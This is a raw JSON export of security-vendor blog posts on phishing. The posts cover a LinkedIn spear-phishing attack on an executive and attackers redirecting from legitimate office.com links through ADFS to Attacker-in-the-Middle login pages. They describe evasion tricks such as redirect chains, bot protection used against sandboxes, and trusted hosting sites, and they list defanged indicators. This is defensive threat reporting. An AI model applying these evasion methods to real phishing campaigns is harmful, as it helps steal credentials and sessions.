modern email security tools conducting various stages of analysis, such as analysing the URL, attempting to inspect the page in a web sandbox, and analyzing the written content of an email for possible malicious intent, it can be easier for attackers to simply bypass email altogether. ",{"data":16010,"content":16011,"nodeType":866},{},[16012],{"data":16013,"marks":16014,"value":16015,"nodeType":865},{},[],"With modern work communications now happening over several platforms, sites like LinkedIn where users can be directly messaged by people outside the organization, but are often accessed from work devices, are a prime target. ",{"data":16017,"content":16018,"nodeType":1229},{},[16019],{"data":16020,"marks":16021,"value":16023,"nodeType":865},{},[16022],{"type":935},"Using legitimate, trusted sites to host links",{"data":16025,"content":16026,"nodeType":866},{},[16027,16031,16039],{"data":16028,"marks":16029,"value":16030,"nodeType":865},{},[],"Attackers are increasingly ",{"data":16032,"content":16033,"nodeType":889},{"uri":13104},[16034],{"data":16035,"marks":16036,"value":16038,"nodeType":865},{},[16037],{"type":1191},"using legitimate sites to host their phishing links",{"data":16040,"marks":16041,"value":16042,"nodeType":865},{},[]," and perform redirections. Fronting phishing attacks with pages hosted on legitimate sites, in combination with lengthy redirect chains, can make it harder for security tools which rely on analysing the initial page served to the victim. In this example, Google Sites, Google Search, and Microsoft Dynamics were used. ",{"data":16044,"content":16045,"nodeType":1229},{},[16046],{"data":16047,"marks":16048,"value":16050,"nodeType":865},{},[16049],{"type":935},"Using bot protection to defeat sandbox analysis tools",{"data":16052,"content":16053,"nodeType":866},{},[16054,16058,16066],{"data":16055,"marks":16056,"value":16057,"nodeType":865},{},[],"Email and proxy security tools rely on loading a page in a web sandbox to analyze it for properties matching their detection signatures. However, dynamic elements that require user interaction to proceed are known to break these sandboxes. The most common way of attackers doing this is by ",{"data":16059,"content":16060,"nodeType":889},{"uri":15524},[16061],{"data":16062,"marks":16063,"value":16065,"nodeType":865},{},[16064],{"type":1191},"using legitimate bot protection",{"data":16067,"marks":16068,"value":16069,"nodeType":865},{},[]," technologies such as CAPTCHA and CloudFlare Turnstile. ",{"data":16071,"content":16072,"nodeType":1229},{},[16073],{"data":16074,"marks":16075,"value":16077,"nodeType":865},{},[16076],{"type":935},"Performing layered redirects at different stages",{"data":16079,"content":16080,"nodeType":866},{},[16081,16085,16093],{"data":16082,"marks":16083,"value":16084,"nodeType":865},{},[],"As already mentioned, the ",{"data":16086,"content":16087,"nodeType":889},{"uri":1517},[16088],{"data":16089,"marks":16090,"value":16092,"nodeType":865},{},[16091],{"type":1191},"chain of redirects",{"data":16094,"marks":16095,"value":16096,"nodeType":865},{},[]," across different sites was particularly notable in this case (you can see this in the timeline screenshot provided above). To maximize the lifespan of a malicious domain, attackers are known to use various redirection tricks (often though legit sites that are often excluded from scanning tools). Using several redirections before serving the malicious page to break referrer-based checks that are common in proxy solutions and prevent the initial URLs seeded out from being discovered. By obfuscating the initial URL delivered to victims, and both masking and rotating the phishing URLs, it is much harder for organizations to blocklist known-bad sites effectively.",{"data":16098,"content":16101,"nodeType":921},{"target":16099},{"sys":16100},{"id":9540,"type":918,"linkType":919},[],{"data":16103,"content":16104,"nodeType":944},{},[],{"data":16106,"content":16107,"nodeType":953},{},[16108],{"data":16109,"marks":16110,"value":16112,"nodeType":865},{},[16111],{"type":935},"Indicators of Compromise",{"data":16114,"content":16115,"nodeType":866},{},[16116],{"data":16117,"marks":16118,"value":16119,"nodeType":865},{},[],"Static IoCs are of limited value in this case due to the use of disposable pages designed to be used once and then rotated. In this case, the page hosting the malicious AITM kit has now been flagged by Google after being reported. This makes blocking specific malicious subdomains hosted on otherwise legitimate sites difficult. However, we have observed a consistent pattern in the attacks identified by Push:",{"data":16121,"content":16122,"nodeType":2374},{},[16123,16133,16143,16153],{"data":16124,"content":16125,"nodeType":2309},{},[16126],{"data":16127,"content":16128,"nodeType":866},{},[16129],{"data":16130,"marks":16131,"value":16132,"nodeType":865},{},[],"Phishing lure delivered over LinkedIn",{"data":16134,"content":16135,"nodeType":2309},{},[16136],{"data":16137,"content":16138,"nodeType":866},{},[16139],{"data":16140,"marks":16141,"value":16142,"nodeType":865},{},[],"Link to sites.google.com page (e.g. sites.google.com/view/\u003CINVESTMENTCOMPANY>-ai/home)",{"data":16144,"content":16145,"nodeType":2309},{},[16146],{"data":16147,"content":16148,"nodeType":866},{},[16149],{"data":16150,"marks":16151,"value":16152,"nodeType":865},{},[],"Link to Microsoft Dynamics page (e.g. [assets-usa.mkt].dynamics.com/...)",{"data":16154,"content":16155,"nodeType":2309},{},[16156],{"data":16157,"content":16158,"nodeType":866},{},[16159],{"data":16160,"marks":16161,"value":16162,"nodeType":865},{},[],"Link to (*).sa.com phishing page",{"data":16164,"content":16165,"nodeType":866},{},[16166],{"data":16167,"marks":16168,"value":16169,"nodeType":865},{},[],"Given the targeted nature of the attack, we recommend hunting for executive-level users accessing some combination of these URLs (and variants) in a short timespan.",{"data":16171,"content":16172,"nodeType":866},{},[16173],{"data":16174,"marks":16175,"value":16176,"nodeType":865},{},[],"We also recommend informing your executive team about the rise in LinkedIn phishing attacks and the specific nature of the investment opportunity lure.",{"data":16178,"content":16179,"nodeType":944},{},[],{"data":16181,"content":16182,"nodeType":953},{},[16183],{"data":16184,"marks":16185,"value":1378,"nodeType":865},{},[16186],{"type":935},{"data":16188,"content":16189,"nodeType":866},{},[16190],{"data":16191,"marks":16192,"value":16193,"nodeType":865},{},[],"There aren’t many more valuable accounts than those belonging to your company executives. Compromising a Google Workspace account doesn’t just give the attacker access to the Workspace tenant, emails, chat, etc. — it also grants access to any accounts on downstream apps configured for SSO. The blast radius of such a compromise is pretty widespread, giving plenty of scope for further exploitation for an attacker with a clear idea of what they want to achieve. ",{"data":16195,"content":16196,"nodeType":866},{},[16197,16201,16210,16213,16222,16226,16234],{"data":16198,"marks":16199,"value":16200,"nodeType":865},{},[],"In short, stopping this attack at the earliest opportunity was a significant benefit. Even if the attack had been later stopped following the compromise and the stolen account reset, unpicking the web of potentially compromised downstream accounts that may have been accessed and backdoored by the attacker (such as by configuring stealthy persistence mechanisms like ",{"data":16202,"content":16204,"nodeType":889},{"uri":16203},"https://github.com/pushsecurity/saas-attacks/blob/main/techniques/evil_twin_integrations/description.md",[16205],{"data":16206,"marks":16207,"value":16209,"nodeType":865},{},[16208],{"type":1191},"evil twin integrations",{"data":16211,"marks":16212,"value":3202,"nodeType":865},{},[],{"data":16214,"content":16216,"nodeType":889},{"uri":16215},"https://github.com/pushsecurity/saas-attacks/blob/main/techniques/api_keys/description.md",[16217],{"data":16218,"marks":16219,"value":16221,"nodeType":865},{},[16220],{"type":1191},"API keys",{"data":16223,"marks":16224,"value":16225,"nodeType":865},{},[]," or other ",{"data":16227,"content":16228,"nodeType":889},{"uri":11415},[16229],{"data":16230,"marks":16231,"value":16233,"nodeType":865},{},[16232],{"type":1191},"ghost login",{"data":16235,"marks":16236,"value":16237,"nodeType":865},{},[]," methods) presents a sizable overhead for the security team.     ",{"data":16239,"content":16240,"nodeType":944},{},[],{"data":16242,"content":16243,"nodeType":953},{},[16244],{"data":16245,"marks":16246,"value":5589,"nodeType":865},{},[16247],{"type":935},{"data":16249,"content":16250,"nodeType":866},{},[16251],{"data":16252,"marks":16253,"value":16254,"nodeType":865},{},[],"Two key features played a part in this detection, which you can read more about below:",{"data":16256,"content":16257,"nodeType":2374},{},[16258,16279],{"data":16259,"content":16260,"nodeType":2309},{},[16261],{"data":16262,"content":16263,"nodeType":866},{},[16264,16267,16276],{"data":16265,"marks":16266,"value":21,"nodeType":865},{},[],{"data":16268,"content":16270,"nodeType":889},{"uri":16269},"https://pushsecurity.com/blog/detecting-and-blocking-phishing-attacks-in-the-browser/",[16271],{"data":16272,"marks":16273,"value":16275,"nodeType":865},{},[16274],{"type":1191},"Phishing attack detection",{"data":16277,"marks":16278,"value":21,"nodeType":865},{},[],{"data":16280,"content":16281,"nodeType":2309},{},[16282],{"data":16283,"content":16284,"nodeType":866},{},[16285,16288,16297],{"data":16286,"marks":16287,"value":21,"nodeType":865},{},[],{"data":16289,"content":16291,"nodeType":889},{"uri":16290},"https://pushsecurity.com/blog/introducing-push-detections/",[16292],{"data":16293,"marks":16294,"value":16296,"nodeType":865},{},[16295],{"type":1191},"Push detection and response capabilities inc. timeline visibility ",{"data":16298,"marks":16299,"value":21,"nodeType":865},{},[],{"data":16301,"content":16302,"nodeType":866},{},[16303,16307,16312,16316,16323],{"data":16304,"marks":16305,"value":16306,"nodeType":865},{},[],"Push doesn’t detect the redirect tricks or rely on outdated domain TI feeds. The reason we detect these attacks (which make it through all the other layers of phishing protection) is that ",{"data":16308,"marks":16309,"value":16311,"nodeType":865},{},[16310],{"type":935},"Push sees what your users see",{"data":16313,"marks":16314,"value":16315,"nodeType":865},{},[],". It doesn’t matter what ",{"data":16317,"content":16318,"nodeType":889},{"uri":1388},[16319],{"data":16320,"marks":16321,"value":10440,"nodeType":865},{},[16322],{"type":1191},{"data":16324,"marks":16325,"value":16326,"nodeType":865},{},[],", Push detects and blocks attacks by identifying the attack in real time, as the user loads the page in their web browser.",{"data":16328,"content":16329,"nodeType":866},{},[16330],{"data":16331,"marks":16332,"value":16333,"nodeType":865},{},[],"This isn’t all we do: Push’s browser-based security platform provides comprehensive detection and response capabilities against the leading cause of breaches. Push blocks browser-based attacks like AiTM phishing, credential stuffing, password spraying and session hijacking using stolen session tokens. You don’t need to wait until it all goes wrong — you can also use Push to find and fix vulnerabilities across the apps that your employees use, like ghost logins, SSO coverage gaps, MFA gaps, vulnerable passwords, risky OAuth integrations, and more to harden your identity attack surface.",{"data":16335,"content":16336,"nodeType":866},{},[16337,16340,16347],{"data":16338,"marks":16339,"value":14640,"nodeType":865},{},[],{"data":16341,"content":16342,"nodeType":889},{"uri":1487},[16343],{"data":16344,"marks":16345,"value":3223,"nodeType":865},{},[16346],{"type":1191},{"data":16348,"marks":16349,"value":1066,"nodeType":865},{},[],"How Push stopped a high risk LinkedIn spear-phishing attack against a company exec","How Push saved a company exec from a sophisticated Attacker-in-the-Middle phishing attack delivered via a LinkedIn direct message.","2025-09-08T00:00:00.000Z","how-push-stopped-a-high-risk-linkedin-spear-phishing-attack",{"items":16355},[16356,16358],{"sys":16357,"name":342},{"id":2666},{"sys":16359,"name":2663},{"id":2662},{"items":16361},[16362],{"fullName":2670,"firstName":2671,"jobTitle":2672,"profilePicture":16363},{"url":2674},{"__typename":1802,"sys":16365,"content":16366,"title":12136,"synopsis":14678,"hashTags":59,"publishedDate":12794,"slug":14666,"tagsCollection":16863,"authorsCollection":16869},{"id":14680},{"json":16367},{"data":16368,"content":16369,"nodeType":1663},{},[16370,16376,16382,16392,16397,16403,16406,16413,16419,16424,16437,16443,16464,16470,16475,16478,16485,16511,16516,16532,16537,16553,16559,16564,16567,16574,16580,16596,16602,16618,16624,16629,16632,16639,16645,16675,16681,16687,16727,16742,16751,16757,16760,16767,16783,16789,16795,16800,16803,16810,16826,16852,16857],{"data":16371,"content":16372,"nodeType":866},{},[16373],{"data":16374,"marks":16375,"value":12152,"nodeType":865},{},[],{"data":16377,"content":16378,"nodeType":866},{},[16379],{"data":16380,"marks":16381,"value":12159,"nodeType":865},{},[],{"data":16383,"content":16384,"nodeType":866},{},[16385,16388],{"data":16386,"marks":16387,"value":12166,"nodeType":865},{},[],{"data":16389,"marks":16390,"value":12171,"nodeType":865},{},[16391],{"type":935},{"data":16393,"content":16396,"nodeType":921},{"target":16394},{"sys":16395},{"id":9929,"type":918,"linkType":919},[],{"data":16398,"content":16399,"nodeType":866},{},[16400],{"data":16401,"marks":16402,"value":12183,"nodeType":865},{},[],{"data":16404,"content":16405,"nodeType":944},{},[],{"data":16407,"content":16408,"nodeType":953},{},[16409],{"data":16410,"marks":16411,"value":12194,"nodeType":865},{},[16412],{"type":935},{"data":16414,"content":16415,"nodeType":866},{},[16416],{"data":16417,"marks":16418,"value":12201,"nodeType":865},{},[],{"data":16420,"content":16423,"nodeType":921},{"target":16421},{"sys":16422},{"id":12206,"type":918,"linkType":919},[],{"data":16425,"content":16426,"nodeType":866},{},[16427,16430,16434],{"data":16428,"marks":16429,"value":12214,"nodeType":865},{},[],{"data":16431,"marks":16432,"value":12219,"nodeType":865},{},[16433],{"type":935},{"data":16435,"marks":16436,"value":12223,"nodeType":865},{},[],{"data":16438,"content":16439,"nodeType":866},{},[16440],{"data":16441,"marks":16442,"value":12230,"nodeType":865},{},[],{"data":16444,"content":16445,"nodeType":2374},{},[16446,16455],{"data":16447,"content":16448,"nodeType":2309},{},[16449],{"data":16450,"content":16451,"nodeType":866},{},[16452],{"data":16453,"marks":16454,"value":12243,"nodeType":865},{},[],{"data":16456,"content":16457,"nodeType":2309},{},[16458],{"data":16459,"content":16460,"nodeType":866},{},[16461],{"data":16462,"marks":16463,"value":12253,"nodeType":865},{},[],{"data":16465,"content":16466,"nodeType":866},{},[16467],{"data":16468,"marks":16469,"value":12260,"nodeType":865},{},[],{"data":16471,"content":16474,"nodeType":921},{"target":16472},{"sys":16473},{"id":12265,"type":918,"linkType":919},[],{"data":16476,"content":16477,"nodeType":944},{},[],{"data":16479,"content":16480,"nodeType":953},{},[16481],{"data":16482,"marks":16483,"value":12277,"nodeType":865},{},[16484],{"type":935},{"data":16486,"content":16487,"nodeType":866},{},[16488,16491,16498,16501,16508],{"data":16489,"marks":16490,"value":12284,"nodeType":865},{},[],{"data":16492,"content":16493,"nodeType":889},{"uri":9940},[16494],{"data":16495,"marks":16496,"value":12292,"nodeType":865},{},[16497],{"type":1191},{"data":16499,"marks":16500,"value":12296,"nodeType":865},{},[],{"data":16502,"content":16503,"nodeType":889},{"uri":12299},[16504],{"data":16505,"marks":16506,"value":12305,"nodeType":865},{},[16507],{"type":1191},{"data":16509,"marks":16510,"value":12309,"nodeType":865},{},[],{"data":16512,"content":16515,"nodeType":921},{"target":16513},{"sys":16514},{"id":12314,"type":918,"linkType":919},[],{"data":16517,"content":16518,"nodeType":866},{},[16519,16522,16529],{"data":16520,"marks":16521,"value":12322,"nodeType":865},{},[],{"data":16523,"content":16524,"nodeType":889},{"uri":12325},[16525],{"data":16526,"marks":16527,"value":12331,"nodeType":865},{},[16528],{"type":1191},{"data":16530,"marks":16531,"value":3017,"nodeType":865},{},[],{"data":16533,"content":16536,"nodeType":921},{"target":16534},{"sys":16535},{"id":12339,"type":918,"linkType":919},[],{"data":16538,"content":16539,"nodeType":866},{},[16540,16543,16550],{"data":16541,"marks":16542,"value":12347,"nodeType":865},{},[],{"data":16544,"content":16545,"nodeType":889},{"uri":12350},[16546],{"data":16547,"marks":16548,"value":9135,"nodeType":865},{},[16549],{"type":1191},{"data":16551,"marks":16552,"value":12359,"nodeType":865},{},[],{"data":16554,"content":16555,"nodeType":866},{},[16556],{"data":16557,"marks":16558,"value":12366,"nodeType":865},{},[],{"data":16560,"content":16563,"nodeType":921},{"target":16561},{"sys":16562},{"id":12371,"type":918,"linkType":919},[],{"data":16565,"content":16566,"nodeType":944},{},[],{"data":16568,"content":16569,"nodeType":953},{},[16570],{"data":16571,"marks":16572,"value":12383,"nodeType":865},{},[16573],{"type":935},{"data":16575,"content":16576,"nodeType":866},{},[16577],{"data":16578,"marks":16579,"value":12390,"nodeType":865},{},[],{"data":16581,"content":16582,"nodeType":866},{},[16583,16586,16593],{"data":16584,"marks":16585,"value":12397,"nodeType":865},{},[],{"data":16587,"content":16588,"nodeType":889},{"uri":12400},[16589],{"data":16590,"marks":16591,"value":12406,"nodeType":865},{},[16592],{"type":1191},{"data":16594,"marks":16595,"value":12410,"nodeType":865},{},[],{"data":16597,"content":16598,"nodeType":866},{},[16599],{"data":16600,"marks":16601,"value":12417,"nodeType":865},{},[],{"data":16603,"content":16604,"nodeType":866},{},[16605,16608,16615],{"data":16606,"marks":16607,"value":12424,"nodeType":865},{},[],{"data":16609,"content":16610,"nodeType":889},{"uri":12427},[16611],{"data":16612,"marks":16613,"value":12433,"nodeType":865},{},[16614],{"type":1191},{"data":16616,"marks":16617,"value":12437,"nodeType":865},{},[],{"data":16619,"content":16620,"nodeType":866},{},[16621],{"data":16622,"marks":16623,"value":12444,"nodeType":865},{},[],{"data":16625,"content":16628,"nodeType":921},{"target":16626},{"sys":16627},{"id":12449,"type":918,"linkType":919},[],{"data":16630,"content":16631,"nodeType":944},{},[],{"data":16633,"content":16634,"nodeType":953},{},[16635],{"data":16636,"marks":16637,"value":12461,"nodeType":865},{},[16638],{"type":935},{"data":16640,"content":16641,"nodeType":866},{},[16642],{"data":16643,"marks":16644,"value":12468,"nodeType":865},{},[],{"data":16646,"content":16647,"nodeType":2374},{},[16648,16657,16666],{"data":16649,"content":16650,"nodeType":2309},{},[16651],{"data":16652,"content":16653,"nodeType":866},{},[16654],{"data":16655,"marks":16656,"value":12481,"nodeType":865},{},[],{"data":16658,"content":16659,"nodeType":2309},{},[16660],{"data":16661,"content":16662,"nodeType":866},{},[16663],{"data":16664,"marks":16665,"value":12491,"nodeType":865},{},[],{"data":16667,"content":16668,"nodeType":2309},{},[16669],{"data":16670,"content":16671,"nodeType":866},{},[16672],{"data":16673,"marks":16674,"value":12501,"nodeType":865},{},[],{"data":16676,"content":16677,"nodeType":866},{},[16678],{"data":16679,"marks":16680,"value":12508,"nodeType":865},{},[],{"data":16682,"content":16683,"nodeType":866},{},[16684],{"data":16685,"marks":16686,"value":12515,"nodeType":865},{},[],{"data":16688,"content":16689,"nodeType":2374},{},[16690,16709,16718],{"data":16691,"content":16692,"nodeType":2309},{},[16693],{"data":16694,"content":16695,"nodeType":866},{},[16696,16699,16706],{"data":16697,"marks":16698,"value":12528,"nodeType":865},{},[],{"data":16700,"content":16701,"nodeType":889},{"uri":12531},[16702],{"data":16703,"marks":16704,"value":12537,"nodeType":865},{},[16705],{"type":1191},{"data":16707,"marks":16708,"value":12541,"nodeType":865},{},[],{"data":16710,"content":16711,"nodeType":2309},{},[16712],{"data":16713,"content":16714,"nodeType":866},{},[16715],{"data":16716,"marks":16717,"value":12551,"nodeType":865},{},[],{"data":16719,"content":16720,"nodeType":2309},{},[16721],{"data":16722,"content":16723,"nodeType":866},{},[16724],{"data":16725,"marks":16726,"value":12561,"nodeType":865},{},[],{"data":16728,"content":16729,"nodeType":866},{},[16730,16733,16739],{"data":16731,"marks":16732,"value":12568,"nodeType":865},{},[],{"data":16734,"content":16735,"nodeType":889},{"uri":11831},[16736],{"data":16737,"marks":16738,"value":12575,"nodeType":865},{},[],{"data":16740,"marks":16741,"value":12579,"nodeType":865},{},[],{"data":16743,"content":16744,"nodeType":7191},{},[16745],{"data":16746,"content":16747,"nodeType":866},{},[16748],{"data":16749,"marks":16750,"value":12589,"nodeType":865},{},[],{"data":16752,"content":16753,"nodeType":866},{},[16754],{"data":16755,"marks":16756,"value":12596,"nodeType":865},{},[],{"data":16758,"content":16759,"nodeType":944},{},[],{"data":16761,"content":16762,"nodeType":953},{},[16763],{"data":16764,"marks":16765,"value":12607,"nodeType":865},{},[16766],{"type":935},{"data":16768,"content":16769,"nodeType":866},{},[16770,16773,16780],{"data":16771,"marks":16772,"value":12614,"nodeType":865},{},[],{"data":16774,"content":16775,"nodeType":889},{"uri":12617},[16776],{"data":16777,"marks":16778,"value":12623,"nodeType":865},{},[16779],{"type":1191},{"data":16781,"marks":16782,"value":12627,"nodeType":865},{},[],{"data":16784,"content":16785,"nodeType":866},{},[16786],{"data":16787,"marks":16788,"value":12634,"nodeType":865},{},[],{"data":16790,"content":16791,"nodeType":866},{},[16792],{"data":16793,"marks":16794,"value":12641,"nodeType":865},{},[],{"data":16796,"content":16799,"nodeType":921},{"target":16797},{"sys":16798},{"id":12646,"type":918,"linkType":919},[],{"data":16801,"content":16802,"nodeType":944},{},[],{"data":16804,"content":16805,"nodeType":953},{},[16806],{"data":16807,"marks":16808,"value":6592,"nodeType":865},{},[16809],{"type":935},{"data":16811,"content":16812,"nodeType":866},{},[16813,16816,16823],{"data":16814,"marks":16815,"value":12664,"nodeType":865},{},[],{"data":16817,"content":16818,"nodeType":889},{"uri":12667},[16819],{"data":16820,"marks":16821,"value":12673,"nodeType":865},{},[16822],{"type":1191},{"data":16824,"marks":16825,"value":12677,"nodeType":865},{},[],{"data":16827,"content":16828,"nodeType":866},{},[16829,16832,16839,16842,16849],{"data":16830,"marks":16831,"value":9514,"nodeType":865},{},[],{"data":16833,"content":16834,"nodeType":889},{"uri":3192},[16835],{"data":16836,"marks":16837,"value":3198,"nodeType":865},{},[16838],{"type":1191},{"data":16840,"marks":16841,"value":9525,"nodeType":865},{},[],{"data":16843,"content":16844,"nodeType":889},{"uri":2644},[16845],{"data":16846,"marks":16847,"value":3223,"nodeType":865},{},[16848],{"type":1191},{"data":16850,"marks":16851,"value":1066,"nodeType":865},{},[],{"data":16853,"content":16856,"nodeType":921},{"target":16854},{"sys":16855},{"id":12265,"type":918,"linkType":919},[],{"data":16858,"content":16859,"nodeType":866},{},[16860],{"data":16861,"marks":16862,"value":21,"nodeType":865},{},[],{"items":16864},[16865,16867],{"sys":16866,"name":342},{"id":2666},{"sys":16868,"name":2663},{"id":2662},{"items":16870},[16871],{"fullName":2670,"firstName":2671,"jobTitle":2672,"profilePicture":16872},{"url":2674},"blog/why-attackers-are-moving-beyond-email-based-phishing",{"json":16875},{"data":16876,"content":16877,"nodeType":1663},{},[16878],{"data":16879,"content":16880,"nodeType":866},{},[16881],{"data":16882,"marks":16883,"value":16884,"nodeType":865},{},[],"Attackers are increasingly sending phishing links over non-email delivery channels like social media, instant messaging apps, and malicious search engine ads. In this article, we explore why phishing attacks are moving away from exclusively email-based delivery, and what this means for security teams. ",{"id":12799,"publishedAt":16886},"2026-08-12T11:53:47.767Z",{"items":16888},[16889,16891],{"sys":16890,"name":2663},{"id":2662},{"sys":16892,"name":342},{"id":2666},{"items":16894},[16895,16897,16899,16901,16903,16905,16907,16909,16911,16913,16915,16917,16919,16921,16923],{"sys":16896,"name":279,"slug":280,"tier":31},{"id":276},{"sys":16898,"name":519,"slug":520,"tier":31},{"id":516},{"sys":16900,"name":342,"slug":343,"tier":31},{"id":339},{"sys":16902,"name":642,"slug":643,"tier":31},{"id":639},{"sys":16904,"name":475,"slug":476,"tier":45},{"id":472},{"sys":16906,"name":261,"slug":262,"tier":45},{"id":258},{"sys":16908,"name":466,"slug":467,"tier":45},{"id":463},{"sys":16910,"name":571,"slug":572,"tier":45},{"id":568},{"sys":16912,"name":440,"slug":441,"tier":45},{"id":437},{"sys":16914,"name":563,"slug":564,"tier":45},{"id":560},{"sys":16916,"name":607,"slug":608,"tier":45},{"id":604},{"sys":16918,"name":324,"slug":325,"tier":45},{"id":321},{"sys":16920,"name":431,"slug":432,"tier":45},{"id":428},{"sys":16922,"name":422,"slug":423,"tier":45},{"id":419},{"sys":16924,"name":315,"slug":316,"tier":45},{"id":312},"fbpSzWbg3UO8kZAw1BoRcf-UuQx5faRvyNk3RZcKfUQ",{"id":16927,"title":16928,"authorsCollection":16929,"content":16935,"extension":228,"faqItemsCollection":17558,"faqTitle":59,"featured":6,"hashTags":59,"meta":17560,"metaTitle":17561,"ogImage":59,"postType":1797,"publishedDate":17562,"relatedBlogPostsCollection":17563,"slug":19055,"stem":19056,"subtitle":59,"summary":19057,"synopsis":19068,"sys":19069,"tagsCollection":19072,"topicsCollection":19078,"__hash__":19106},"blog/blog/phishing-with-active-directory-federation-services.json","How attackers are using Active Directory Federation Services to phish with legit office.com links",{"items":16930},[16931],{"fullName":10500,"firstName":10501,"jobTitle":10502,"socialLinks":16932,"profilePicture":16934},[16933],"https://www.linkedin.com/in/luke-jennings-042b5619b/",{"url":10504},{"json":16936,"links":17526},{"data":16937,"content":16938,"nodeType":1663},{},[16939,16946,16953,16973,16980,16999,17006,17009,17017,17024,17031,17037,17044,17089,17131,17139,17146,17166,17202,17208,17215,17221,17228,17236,17266,17272,17275,17282,17302,17322,17352,17357,17360,17368,17375,17468,17471,17478,17494,17501,17508],{"data":16940,"content":16941,"nodeType":866},{},[16942],{"data":16943,"marks":16944,"value":16945,"nodeType":865},{},[],"Everything we do at Push is research-driven. Our detections for phishing attacks were created through hands-on analysis of phishing kits that our customers have been targeted with. This gives us a steady supply of all manner of modern Attacker-in-the-Middle phishing kits to analyze — from the classic Evilginx-style phish kit to professionalized criminal as-a-Service infrastructure. ",{"data":16947,"content":16948,"nodeType":866},{},[16949],{"data":16950,"marks":16951,"value":16952,"nodeType":865},{},[],"In our most recent phish kit teardown, we encountered a standard reverse-proxy clone of a Microsoft login page — nothing unusual at first glance. But increasingly, a lot of the innovation comes outside of the phishing page itself. ",{"data":16954,"content":16955,"nodeType":866},{},[16956,16960,16969],{"data":16957,"marks":16958,"value":16959,"nodeType":865},{},[],"The art in detection evasion comes from being able to successfully deliver the page to a user and have them open the page without it being intercepted by an email security, proxy scanner, URL TI feed, or web analysis tool. To achieve this, the attacker found a way to redirect from a legitimate ",{"data":16961,"content":16963,"nodeType":889},{"uri":16962},"http://outlook.office.com",[16964],{"data":16965,"marks":16966,"value":16968,"nodeType":865},{},[16967],{"type":1191},"outlook.office.com",{"data":16970,"marks":16971,"value":16972,"nodeType":865},{},[]," link to a phishing website. ",{"data":16974,"content":16975,"nodeType":866},{},[16976],{"data":16977,"marks":16978,"value":16979,"nodeType":865},{},[],"This is essentially an open redirect vulnerability — maybe not the classic example where someone has forgotten to do input sanitization on their website, but the outcome is the same.",{"data":16981,"content":16982,"nodeType":866},{},[16983,16987,16995],{"data":16984,"marks":16985,"value":16986,"nodeType":865},{},[],"Central to our analysis was the use of our timelines feature, ",{"data":16988,"content":16989,"nodeType":889},{"uri":16290},[16990],{"data":16991,"marks":16992,"value":16994,"nodeType":865},{},[16993],{"type":1191},"part of our latest Detections feature release",{"data":16996,"marks":16997,"value":16998,"nodeType":865},{},[],". I’m not going to talk in any detail about this, but the TL;DR is that it allows us to trace back the entire chain of browsing activity leading up to a detection — showing the full (sometimes lengthy) redirect chain from the initial link delivery source to the actual phishing page, tabs opened and closed, popup windows, forms submitted, passwords entered, and more. ",{"data":17000,"content":17001,"nodeType":866},{},[17002],{"data":17003,"marks":17004,"value":17005,"nodeType":865},{},[],"First, let’s go through the steps of my investigation before looking at the findings (and the implications for phishing detection evasion techniques). ",{"data":17007,"content":17008,"nodeType":944},{},[],{"data":17010,"content":17011,"nodeType":953},{},[17012],{"data":17013,"marks":17014,"value":17016,"nodeType":865},{},[17015],{"type":935},"Investigation walkthrough",{"data":17018,"content":17019,"nodeType":866},{},[17020],{"data":17021,"marks":17022,"value":17023,"nodeType":865},{},[],"As I opened with, there was nothing especially notable about the phishing page itself — a standard reverse-proxy AitM page designed to intercept the user’s session as they authenticate, bypassing MFA in the process. ",{"data":17025,"content":17026,"nodeType":866},{},[17027],{"data":17028,"marks":17029,"value":17030,"nodeType":865},{},[],"This was not targeted delivery — employees from several customers were impacted. I’ve included an example of how one user arrived at the site below.",{"data":17032,"content":17036,"nodeType":921},{"target":17033},{"sys":17034},{"id":17035,"type":918,"linkType":919},"51MnOL9XqQDkllK2Jer4S9",[],{"data":17038,"content":17039,"nodeType":866},{},[17040],{"data":17041,"marks":17042,"value":17043,"nodeType":865},{},[],"This one stood out to me for a few reasons. ",{"data":17045,"content":17046,"nodeType":2374},{},[17047,17057,17079],{"data":17048,"content":17049,"nodeType":2309},{},[17050],{"data":17051,"content":17052,"nodeType":866},{},[17053],{"data":17054,"marks":17055,"value":17056,"nodeType":865},{},[],"The user had accessed the malicious link from Google search. They searched “Office 265\" (a typo presumably), clicked a link, and were taken to an Office login page.",{"data":17058,"content":17059,"nodeType":2309},{},[17060],{"data":17061,"content":17062,"nodeType":866},{},[17063,17067,17075],{"data":17064,"marks":17065,"value":17066,"nodeType":865},{},[],"The Outlook link had a number of Google Ads tracking parameters attached, meaning they clicked an ad, not an organic link — making this a ",{"data":17068,"content":17070,"nodeType":889},{"uri":17069},"https://pushsecurity.github.io/phishing-techniques/techniques/malvertising/",[17071],{"data":17072,"marks":17073,"value":441,"nodeType":865},{},[17074],{"type":1191},{"data":17076,"marks":17077,"value":17078,"nodeType":865},{},[]," attack. ",{"data":17080,"content":17081,"nodeType":2309},{},[17082],{"data":17083,"content":17084,"nodeType":866},{},[17085],{"data":17086,"marks":17087,"value":17088,"nodeType":865},{},[],"Another domain — bluegraintours[.]com — was in the URL path, after which they were redirected to the Microsoft-impersonating phishing site (login-microsoftonline[.]offirmtm[.]com ...). ",{"data":17090,"content":17091,"nodeType":866},{},[17092,17096,17105,17109,17116,17120,17127],{"data":17093,"marks":17094,"value":17095,"nodeType":865},{},[],"This got me wondering — how did they get ",{"data":17097,"content":17099,"nodeType":889},{"uri":17098},"http://office.com",[17100],{"data":17101,"marks":17102,"value":17104,"nodeType":865},{},[17103],{"type":1191},"office.com",{"data":17106,"marks":17107,"value":17108,"nodeType":865},{},[]," to redirect to the phishing site, and why was the bluegraintours domain in the path of an ",{"data":17110,"content":17111,"nodeType":889},{"uri":17098},[17112],{"data":17113,"marks":17114,"value":17104,"nodeType":865},{},[17115],{"type":1191},{"data":17117,"marks":17118,"value":17119,"nodeType":865},{},[]," link? There was no indication that an actual phishing email was interacted with, it seemed to all happen directly from the legitimate ",{"data":17121,"content":17122,"nodeType":889},{"uri":17098},[17123],{"data":17124,"marks":17125,"value":17104,"nodeType":865},{},[17126],{"type":1191},{"data":17128,"marks":17129,"value":17130,"nodeType":865},{},[]," link. ",{"data":17132,"content":17133,"nodeType":1229},{},[17134],{"data":17135,"marks":17136,"value":17138,"nodeType":865},{},[17137],{"type":935},"Redirecting to a malicious login page via ADFS",{"data":17140,"content":17141,"nodeType":866},{},[17142],{"data":17143,"marks":17144,"value":17145,"nodeType":865},{},[],"From memory, I knew that the tenant name can appear in the URL when you’re accessing a specific Microsoft tenant for your organization — essentially a domain-specific landing page. 